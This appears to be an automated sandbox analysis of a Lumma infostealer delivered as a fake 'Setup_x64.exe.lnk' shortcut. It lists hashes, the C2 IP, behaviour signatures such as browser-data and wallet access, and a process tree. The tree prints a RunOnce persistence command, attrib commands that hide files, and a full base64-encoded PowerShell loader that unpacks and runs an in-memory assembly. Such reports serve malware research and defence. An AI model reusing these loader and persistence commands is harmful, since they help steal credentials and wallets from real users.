Resubmissions
30/03/2024, 14:33
240330-rxab8shb28 801/05/2023, 11:52
230501-n15e1ahb8s 1021/03/2023, 09:18
230321-k9l38she38 1Analysis
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max time kernel
136s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20230220-en -
resource tags
arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system -
submitted
01/05/2023, 11:52
Static task
static1
Behavioral task
behavioral1
Sample
Setup_x64.exe.lnk
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
Setup_x64.exe.lnk
Resource
win10v2004-20230220-en
General
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Target
Setup_x64.exe.lnk
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Size
1KB
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MD5
b1b6eb2189e0f3d7ecfea63baafca452
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SHA1
af279896cf4ec2c487e5599759cee19bdd0d84b6
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SHA256
0bbeb529931ee10f4cde96b33689c45b0406b3b33a55d4a0341fac2e67749b55
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SHA512
b1dbf2144f13d08b7a62a7fc24681f6c8c324b56eb4048da64836ab2d83efed80c80acc9f06e44de02ddcdb31a4eefa9f244447b128d1d73cacf583eb17f66a2
Malware Config
Extracted
lumma
82.118.23.50
Signatures
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Sets file to hidden 1 TTPs 1 IoCs
Modifies file attributes to stop it showing in Explorer etc.
pid Process 1700 attrib.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation particovl.bat.exe -
Executes dropped EXE 2 IoCs
pid Process 324 particovl.bat.exe 4720 particovl.bat.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\particovl = "C:\\Users\\Admin\\AppData\\Roaming\\particovl.bat" reg.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 324 set thread context of 4720 324 particovl.bat.exe 100 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 324 particovl.bat.exe 324 particovl.bat.exe 2648 powershell.exe 2648 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 324 particovl.bat.exe Token: SeDebugPrivilege 2648 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 784 wrote to memory of 4416 784 cmd.exe 85 PID 784 wrote to memory of 4416 784 cmd.exe 85 PID 4416 wrote to memory of 2784 4416 cmd.exe 86 PID 4416 wrote to memory of 2784 4416 cmd.exe 86 PID 2784 wrote to memory of 2824 2784 cmd.exe 87 PID 2784 wrote to memory of 2824 2784 cmd.exe 87 PID 2824 wrote to memory of 3764 2824 cmd.exe 88 PID 2824 wrote to memory of 3764 2824 cmd.exe 88 PID 2824 wrote to memory of 1700 2824 cmd.exe 89 PID 2824 wrote to memory of 1700 2824 cmd.exe 89 PID 2824 wrote to memory of 324 2824 cmd.exe 92 PID 2824 wrote to memory of 324 2824 cmd.exe 92 PID 2824 wrote to memory of 324 2824 cmd.exe 92 PID 324 wrote to memory of 2648 324 particovl.bat.exe 97 PID 324 wrote to memory of 2648 324 particovl.bat.exe 97 PID 324 wrote to memory of 2648 324 particovl.bat.exe 97 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 324 wrote to memory of 4720 324 particovl.bat.exe 100 PID 2824 wrote to memory of 4672 2824 cmd.exe 101 PID 2824 wrote to memory of 4672 2824 cmd.exe 101 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 1700 attrib.exe 4672 attrib.exe
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Setup_x64.exe.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /T:84 /C start "Starting Installation..." /B "%CD%\README.md\entry.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4416 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\README.md\entry.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:2784 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat"4⤵
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\system32\reg.exereg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce /f /v particovl /d "C:\Users\Admin\AppData\Roaming\particovl.bat"5⤵
- Adds Run key to start application
PID:3764
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C:\Windows\system32\attrib.exeattrib +s +h C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe5⤵
- Sets file to hidden
- Views/modifies file attributes
PID:1700
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C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe -wIn 1 -enC JABlAHgAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0AFAAcgBvAGMAZQBzAHMAKAApAC4ATQBhAGkAbgBNAG8AZAB1AGwAZQAuAEYAaQBsAGUATgBhAG0AZQA7ACAAJABsAGUAbgAgAD0AIAAkAGUAeABlAC4ATABlAG4AZwB0AGgAOwAkAGwAZQBuACAAPQAgACQAbABlAG4AIAAtACAANAA7ACQAVwBlAGIAVABpAHQAbABlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAOwAgAGYAbwByAGUAYQBjAGgAIAAoACQAbABpAG4AZQAgAGkAbgAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAJABlAHgAZQAuAFIAZQBtAG8AdgBlACgAJABsAGUAbgApACkAKQAgAHsAIABpAGYAIAAoACQAbABpAG4AZQAgAC0AbABpAGsAZQAgACcAKgAgABmVKgAnACkAIAB7ACAAIAAkAFcAZQBiAFQAaQB0AGwAZQAuAEEAcABwAGUAbgBkACgAJABsAGkAbgBlAC4AUwBwAGwAaQB0ACgAJwAZlScAKQBbADEAXQApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAB9ACAAfQA7ACAAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBlAGIAVABpAHQAbABlAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAJABpAG4AcAB1AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAGIAeQB0AGUAcwAgACkAOwAkAG8AdQB0AHAAdQB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABnAHoAaQBwAFMAdAByAGUAYQBtACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEcAegBpAHAAUwB0AHIAZQBhAG0AIAAkAGkAbgBwAHUAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQAZwB6AGkAcABTAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkAOwAkAGkAbgBwAHUAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAGIAeQB0AGUAcwAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABiAHkAdABlAHMAKQA7ACAAJABhAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoACQAYgB5AHQAZQBzACkAOwAgACQAbQBlAHQAaABvAGQASQBuAGYAbwAgAD0AIAAkAGEAcwBzAGUAbQBiAGwAeQAuAEUAbgB0AHIAeQBQAG8AaQBuAHQAOwAgACQAaQBuAHMAdABhAG4AYwBlACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlACgAJABtAGUAdABoAG8AZABJAG4AZgBvAC4ATgBhAG0AZQApADsAIAAkAG0AZQB0AGgAbwBkAEkAbgBmAG8ALgBJAG4AdgBvAGsAZQAoACQAaQBuAHMAdABhAG4AYwBlACwAIAAkAG4AdQBsAGwAKQAgAHwAIABPAHUAdAAtAE4AdQBsAGwA5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2648
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C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exeC:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe6⤵
- Executes dropped EXE
PID:4720
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C:\Windows\system32\attrib.exeattrib -s -h C:\Users\Admin\AppData\Local\Temp\README.md\inst\particovl.bat.exe5⤵
- Views/modifies file attributes
PID:4672
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
53KB
MD506ad34f9739c5159b4d92d702545bd49
SHA19152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA256474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
SHA512c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
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Filesize
17KB
MD5de88087c4f3ef0a38b1346b23abed67c
SHA1be684579b18ffb443aae273a16c5df077d1d5227
SHA2563dcb60716c8c9620f080754ccd9a6185df7a124dc66f436807f9ddd247ed2558
SHA51293dfe69609af62e618a938ed054b10528d96f24c76b67e9c32f9ef066d3cdd82994339074320f224a9b079713ed4339ffd8422e3f0ca1573a8ad9798554d2be1
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82